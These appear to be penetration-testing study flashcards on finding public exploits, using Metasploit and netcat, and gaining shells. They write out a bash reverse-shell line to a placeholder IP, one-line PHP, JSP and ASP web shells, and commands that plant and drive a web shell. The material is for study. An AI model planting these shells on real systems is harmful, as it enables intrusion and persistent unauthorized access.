Public Exploits Flashcards
What are some Online databases we can use for finding public exploits
Exploit DB
Rapid7 DB
Vulnerability Lab
Metasploit command to search for target vulnerability for an application
search exploit
Metasploit command to see all filters that go with the search command
help search
Metasploit command to view options available to configure an exploit
show options command
Metasploit command to see if the server is vulnerable to the exploit.
check
Shell that connects back to our system and gives us control through a reverse connection.
Reverse Shell
Syntax for Netcat listener
nc –lvnp (port number)
Netcat flag for listen mode, waits for a connection to connect to us.
-l
Netcat flag to disables DNS resolution and only connects from/to IPs, speeding up the connection
-n
Example of what is used with exploits to get a reverse connection in Bash
bash -c ‘bash -i >& /dev/tcp/10.10.10.10/1234 0>&1’
Listening port on the target waits for us to connect to a shell and gives us control once we do.
Bind shell
Netcat syntax for connecting to a bind shell setup on our target box.
nc (IP) (target port)
To get full functionality in for our terminal shell (e.g. access command history) we need to do what?
Upgrade TTY
Communicates through a web server, accepts our commands through HTTP parameters (GET request), executes them, and prints back the output.
Web shell
Web shell scripts are typically one-liners. What are some common ones in different web languages”
php
<?php system($_REQUEST[“cmd”]); ?>
jsp
<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>
asp
<% eval request(“cmd”) %>
How do we execute web shell?
We take this web shell place it into the remote host’s web directory and execute it through the web browser. To do this through a vulnerability in an upload feature.
Some other places we can write web shells directly to.
Webroot
If we’re on a box command we can determine which webroot is in use:
echo ‘<?php system($_REQUEST[“cmd”]); ?>’ > /var/www/html/shell.php
After writing a web shell, we can access it through where?
Browser
CURL
How to execute a web shell through a browser?
Go to the URL page where web shell is located and start executing commands.
e.g. https://SERVER_IP_PORT/shell.php?cmd-id
How to execute a web shell through CURL?
curl http://SERVER_IP:PORT/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
What are some pros of a web shells?
Bypassing any firewall restrictions because they run on a web port 80 or 443
Persistence - If the target host is compromised rebooted, we would still have a connection. Because web shell script would still be in place.
What are some cons of a web shells?
Cons it’s not as interactive as reverse and bind shells since we must keep requesting a different URL to execute our commands.
